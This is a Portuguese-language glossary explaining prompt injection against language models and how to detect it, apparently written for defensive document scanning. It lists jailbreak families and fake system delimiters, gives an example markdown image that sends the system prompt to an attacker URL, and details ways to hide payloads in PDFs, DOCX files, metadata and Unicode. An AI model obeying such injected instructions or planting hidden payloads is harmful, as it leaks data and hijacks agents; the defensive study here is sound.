Glossário de Segurança de IA e Prompt Injection

Classe de ataque em que instruções maliciosas são inseridas no texto processado por um modelo de linguagem para alterar o comportamento previsto do sistema. O atacante não acessa o modelo diretamente — planta comandos no conteúdo que o modelo vai ler. O modelo, incapaz de distinguir estruturalmente instrução do operador de instrução injetada no conteúdo, pode executar ambas.

A vulnerabilidade não é um bug de implementação — é uma propriedade dos modelos de linguagem atuais: eles foram treinados para seguir instruções, e não possuem mecanismo nativo para verificar a origem de cada instrução que chegue na janela de contexto. Classificado como LLM01 no OWASP LLM Top 10 (2025).

Variante em que o próprio usuário do sistema insere as instruções maliciosas no campo de entrada disponibilizado pelo sistema. O vetor é o prompt de entrada — a interface de texto que o sistema expõe diretamente ao usuário.

Contornável por validação de input e listas de bloqueio de termos, mas essas defesas são trivialmente contornáveis por variação de linguagem, tradução, codificação em base64 ou fragmentação da instrução em múltiplas mensagens.

Variante em que as instruções maliciosas chegam via conteúdo externo processado automaticamente pelo sistema — documentos, páginas web recuperadas por RAG, e-mails, respostas de APIs, resultados de buscas. O usuário final é frequentemente vítima, não atacante: ele submete um documento de boa-fé que já contém um payload inserido por terceiro.

É mais difícil de mitigar que a forma direta porque o vetor de injeção não é o input do usuário — é o conteúdo que o sistema consulta de forma autônoma. Qualquer fonte de dados externa processada sem inspeção é um vetor potencial.

Subcategoria de prompt injection indireto em que o payload está embutido em um arquivo — PDF, DOCX, XLSX, imagem. A ocultação pode ser visual (texto invisível, fonte mínima, cor idêntica ao fundo) ou estrutural (campos de metadados, streams internos de PDF, XML interno de DOCX). Documentos de terceiros processados automaticamente por sistemas de IA sem inspeção prévia são o vetor primário.

Diferente de outros vetores, injeção por documento não requer nenhuma interação do usuário com o payload — basta que o documento chegue ao sistema. Em pipelines de triagem automatizada (ATS, revisão de contratos, análise financeira), o atacante precisa apenas submeter o arquivo.

Técnica que tenta contornar os guardrails de segurança de um LLM via instrução crafted — sem explorar uma vulnerabilidade de software, mas explorando como o modelo foi treinado para responder a certos framings. O modelo é persuadido a adotar um comportamento que seus guardrails normalmente bloqueariam.

Famílias comuns: DAN (Do Anything Now — role-play sem restrições, com dezenas de versões), Developer/Sudo Mode (simula acesso privilegiado), SYSTEM Override (tenta sobrescrever o system prompt com delimitadores falsos), Grandma Exploit (framing emocional via pretexto afetivo). Em contexto de documentos, jailbreaks podem ser inseridos com qualquer técnica de ocultação, tornando-os invisíveis para revisão humana.

Objetivo de ataque em que o payload instrui a IA a vazar informações do contexto do sistema — o system prompt, histórico de conversa, dados de outros documentos, credenciais — via mecanismos que o modelo pode executar como parte do output normal. Vetores comuns: URLs com parâmetros (![img](https://attacker.url/collect?data=SYSTEM_PROMPT)), links markdown renderizados em interfaces que exibem HTML, chamadas de ferramenta em agentes com acesso a HTTP.

O dano ocorre antes que monitoramento de output possa agir: a chamada de ferramenta já foi executada quando o output é inspecionado. Em agentes com acesso à internet, a exfiltração pode ocorrer sem gerar texto visível ao usuário.

Técnica em que payloads são inseridos em imagens embutidas em documentos para serem lidos por um motor de OCR e incluídos no texto extraído antes de chegar à LLM. O modelo de linguagem nunca "vê" a imagem — apenas o texto que o OCR extraiu. O objetivo não é enganar a visão do modelo, mas que o OCR leia o payload e o inclua no contexto.

Vetores: texto em baixo contraste (imperceptível para humanos, lido por OCR de alta sensibilidade), payloads em watermarks com opacidade reduzida, camada de texto OCR manipulada em PDFs escaneados (a imagem visível permanece intacta, apenas a camada de texto sobreposta é alterada).

Modo de renderização definido pelo padrão PDF que instrui o renderizador a não exibir o glifo (invisible). O texto existe no stream do arquivo — com tamanho, posição e conteúdo — mas não é pintado na tela. Leitores de PDF (Adobe Acrobat, Preview, navegadores) não exibem esse conteúdo. Parsers de extração de texto — usados por sistemas RAG, LangChain, LlamaIndex e ChatGPT com Files — o incluem no output sem nenhum aviso.

O operador de texto no stream interno do PDF tem a forma 3 Tr antes do conteúdo do glifo. Detecção requer análise diretamente no stream do arquivo — não no texto que parsers convencionais retornam. É o vetor de maior assimetria de custo: inserção trivial, indetectável por qualquer revisão humana, lido automaticamente por todos os parsers de produção.

Três técnicas nativas do formato DOCX — que é um arquivo ZIP com XML interno — para ocultar texto de leitores humanos enquanto parsers extraem o conteúdo normalmente:

• <w:vanish> — atributo XML que marca o run de texto como oculto no padrão do documento. Word e LibreOffice não exibem por padrão (requer ativação manual de "mostrar texto oculto"). Parsers que leem o XML extraem esses runs diretamente.
• Cor idêntica ao fundo — texto com cor definida como #FFFFFF sobre fundo branco. Visualmente indistinguível do espaço em branco. Parsers que extraem texto sem inspecionar a cor do foreground incluem o conteúdo no output.
• Fonte abaixo de 1pt — tamanho de fonte de 0,5pt ou 0,1pt. Fisicamente invisível a qualquer resolução de tela ou impressão. Texto existe no documento e é extraído por parsers.

Caracteres Unicode que não ocupam espaço visual mas são incluídos no texto pelo parser. Quando inseridos entre palavras ou sílabas, são completamente invisíveis em qualquer renderizador de texto padrão. Fragmentam tokens na tokenização do modelo e podem contornar filtros baseados em regex ou match exato de strings.

Principais: U+200B (Zero-Width Space), U+200C (Zero-Width Non-Joiner), U+200D (Zero-Width Joiner), U+FEFF (BOM / Zero-Width No-Break Space), U+2060 (Word Joiner). Normalização Unicode padrão (NFC/NFD) não remove esses caracteres — detecção requer inspeção codepoint a codepoint com lógica especializada.

Caracteres de outros scripts — cirílico, grego, armênio, entre outros — visualmente idênticos a letras latinas, mas com codepoints Unicode distintos. A palavra "ignore" pode usar o "і" cirílico (U+0456) no lugar do "i" latino (U+0069) — indistinguíveis visualmente em qualquer fonte comum, mas com codepoints e comportamentos de tokenização diferentes.

Contornam filtros baseados em correspondência de caracteres ASCII. Afetam a tokenização do modelo de formas que diferem do texto puramente latino, podendo permitir que payloads passem por filtros de regex sem correspondência exata. A detecção requer análise de script Unicode por caractere.

Caracteres de controle Unicode que alteram a direção de renderização do texto (RTL — Right-to-Left / LTR — Left-to-Right). Podem fazer uma string parecer texto inofensivo para revisão humana enquanto o parser vê a string original na ordem correta — porque a inversão é puramente visual.

Principais: U+202E (Right-to-Left Override — inverte a renderização a partir do ponto de inserção), U+202D (Left-to-Right Override), U+202B (Right-to-Left Embedding). Usados em ataques de spoofing de nomes de arquivo e em payloads embutidos em documentos para obscurecer conteúdo de revisores humanos.

Inserção de payloads em campos de metadados de documentos PDF ou DOCX. Campos como dc:title, dc:subject, dc:description, dc:creator e propriedades customizadas são frequentemente ingeridos por sistemas RAG como parte do contexto sem sanitização — tratados como "informação estrutural" e não como "conteúdo potencialmente malicioso".

PDFs armazenam metadados em blocos XMP. DOCX armazena em docProps/core.xml e docProps/app.xml. O vetor é explorado por estar completamente fora do conteúdo visível — nenhum revisor humano examina metadados rotineiramente ao abrir um documento.

Modelo de linguagem treinado em corpus massivo de texto via aprendizado por reforço com feedback humano (RLHF) e técnicas correlatas. Gera texto token a token com base em uma distribuição de probabilidade condicionada ao conteúdo da janela de contexto. Exemplos de produção: GPT-4o (OpenAI), Claude 3.x/4.x (Anthropic), Gemini (Google), Llama 3 (Meta).

A propriedade fundamental explorada por prompt injection: LLMs não distinguem estruturalmente instrução do operador de instrução injetada no conteúdo. Ambas chegam como texto na janela de contexto. Não existe mecanismo nativo de verificação de origem de instrução nos modelos atuais.

Arquitetura que combina um motor de recuperação (vector store, full-text search, banco de dados) com um LLM. Documentos externos são indexados e recuperados em tempo de inferência, adicionados à janela de contexto junto ao prompt do usuário. Permite que LLMs acessem informação não contida no treinamento e respondam sobre documentos privados.

Expande significativamente a superfície de ataque de prompt injection: qualquer documento no índice pode conter payloads que serão recuperados automaticamente e injetados no contexto sem que o usuário final saiba. Um único documento malicioso no índice pode contaminar todas as queries que o recuperarem.

Sequência de etapas de processamento que transforma uma entrada — usuário, documento, evento — em output gerado por LLM. Etapas típicas: ingestão → pré-processamento → embedding/recuperação → montagem do contexto → inferência → pós-processamento → output.

Cada etapa é uma superfície potencial de prompt injection. A etapa de ingestão de documentos é frequentemente a menos protegida: documentos chegam como binários opacos e são convertidos em texto antes de qualquer inspeção semântica. Sem escaneamento pré-LLM, payloads ocultos atravessam todas as etapas intactos e chegam ao contexto do modelo.

Quantidade máxima de tokens que um LLM pode processar em uma única inferência. Inclui: system prompt, histórico de conversa, documentos recuperados, instrução do usuário. O que está na janela de contexto é o que o modelo "vê" — não há distinção técnica entre conteúdo confiável e conteúdo injetado.

Prompt injection por documento insere instruções maliciosas nessa janela junto ao conteúdo legítimo. Janelas maiores (200k–1M tokens) permitem ingestão de documentos completos mas também ampliam a quantidade de conteúdo malicioso que pode ser inserido sem que ocupe proporção dominante do contexto.

Instrução fornecida pelo operador do sistema ao LLM antes de qualquer input do usuário, estabelecendo o comportamento, as restrições e o papel do modelo. Não é visível ao usuário final na maioria das implementações.

Alvo frequente de dois tipos de ataque: sobrescrita — o payload tenta substituir ou anular as instruções do system prompt com delimitadores falsos ([NEW SYSTEM PROMPT], <|im_start|>system); e exfiltração — o payload instrui o modelo a incluir o conteúdo do system prompt no output. Prompt hardening (incluir no system prompt instruções para ignorar comandos em documentos) é uma defesa parcial — contornável por payloads sofisticados.

Sistema que usa um LLM como núcleo de raciocínio e tem acesso a ferramentas externas: execução de código, acesso a APIs, leitura e escrita de arquivos, busca na web, envio de e-mails, chamadas de banco de dados. O modelo "decide" quais ferramentas chamar com base no conteúdo da janela de contexto.

A presença de ferramentas amplifica o impacto de prompt injection de forma qualitativa: um payload bem-sucedido pode instruir o agente a executar uma ação no mundo real — exfiltrar dados via HTTP, apagar arquivos, enviar e-mails, fazer compras — não apenas gerar texto malicioso. O dano não é revertível por monitoramento de output.

Inspeção e sanitização de documentos antes que qualquer conteúdo chegue à janela de contexto do modelo. É a defesa estruturalmente correta contra injeção por documento: atua no ponto de entrada do pipeline, não no ponto de saída. Defesas que operam no output (monitoramento de output, prompt hardening) atuam depois que o dano potencialmente já ocorreu — especialmente em agentes com ferramentas.

Requer análise em múltiplas camadas porque nenhuma camada isolada cobre todos os vetores: texto lógico (rendering mode 3, fontes mínimas, vanish), propriedades visuais (cor idêntica ao fundo), metadados (todos os campos XMP/core.xml), caracteres unicode (zero-width, homoglifos, overrides bidirecionais), conteúdo de imagens via OCR.

Inspeção detalhada de um arquivo além do conteúdo retornado por parsers convencionais. Separada da extração de texto padrão usada por pipelines de produção (LangChain, LlamaIndex, unstructured.io), que não expõem acesso ao nível necessário para detecção de payloads ocultos.

Abrange: decomposição de streams PDF para detectar operadores de texto com rendering mode 3; análise das propriedades de renderização (w:vanish, cor do texto, tamanho da fonte) de cada elemento em DOCX; inspeção codepoint a codepoint para caracteres zero-width, homoglifos e overrides bidirecionais; extração e análise de todos os campos de metadados; renderização visual da página e aplicação de OCR para comparação com o texto lógico.

Diferença entre o texto que um parser extrai de um documento (texto lógico) e o texto que um motor de OCR lê a partir de uma renderização visual da mesma página (texto visual). Em um documento sem conteúdo oculto, os dois deveriam ser substancialmente equivalentes.

Discrepâncias significativas — medidas via distância de Levenshtein ou métricas similares — indicam conteúdo que existe no arquivo mas não aparece na renderização: texto com rendering mode 3, fontes abaixo de 1pt, texto com cor igual ao fundo são invisíveis na renderização visual mas presentes no texto lógico. A magnitude da discrepância pode ser usada como sinal de risco independente do conteúdo do payload.

Processo de remover ou neutralizar conteúdo potencialmente malicioso de uma entrada antes do processamento pelo sistema. Em contexto de LLM e documentos, refere-se à remoção de payloads identificados do conteúdo antes de adicioná-lo à janela de contexto: remover texto oculto identificado, limpar campos de metadados suspeitos, normalizar ou remover caracteres unicode de risco.

Diferente de filtragem de output — atua antes da inferência. Diferente de prompt hardening — não tenta instruir o modelo a ignorar comandos, mas remove os comandos antes que o modelo os veja. A eficácia depende da cobertura do escaneamento: sanitização só remove o que foi detectado.

Lista mantida pelo OWASP (Open Worldwide Application Security Project) catalogando os dez riscos de segurança mais críticos em aplicações baseadas em LLMs. Atualizada em 2025, a versão vigente lista: LLM01 Prompt Injection, LLM02 Sensitive Information Disclosure, LLM03 Supply Chain, LLM04 Data and Model Poisoning, LLM05 Improper Output Handling, LLM06 Excessive Agency, LLM07 System Prompt Leakage, LLM08 Vector and Embedding Weaknesses, LLM09 Misinformation, LLM10 Unbounded Consumption.

Prompt Injection permanece como LLM01 — o risco número 1 — desde a primeira versão publicada em 2023. O documento distingue a forma direta e a indireta (via documentos e dados externos) e recomenda sanitização de inputs antes da ingestão como controle primário.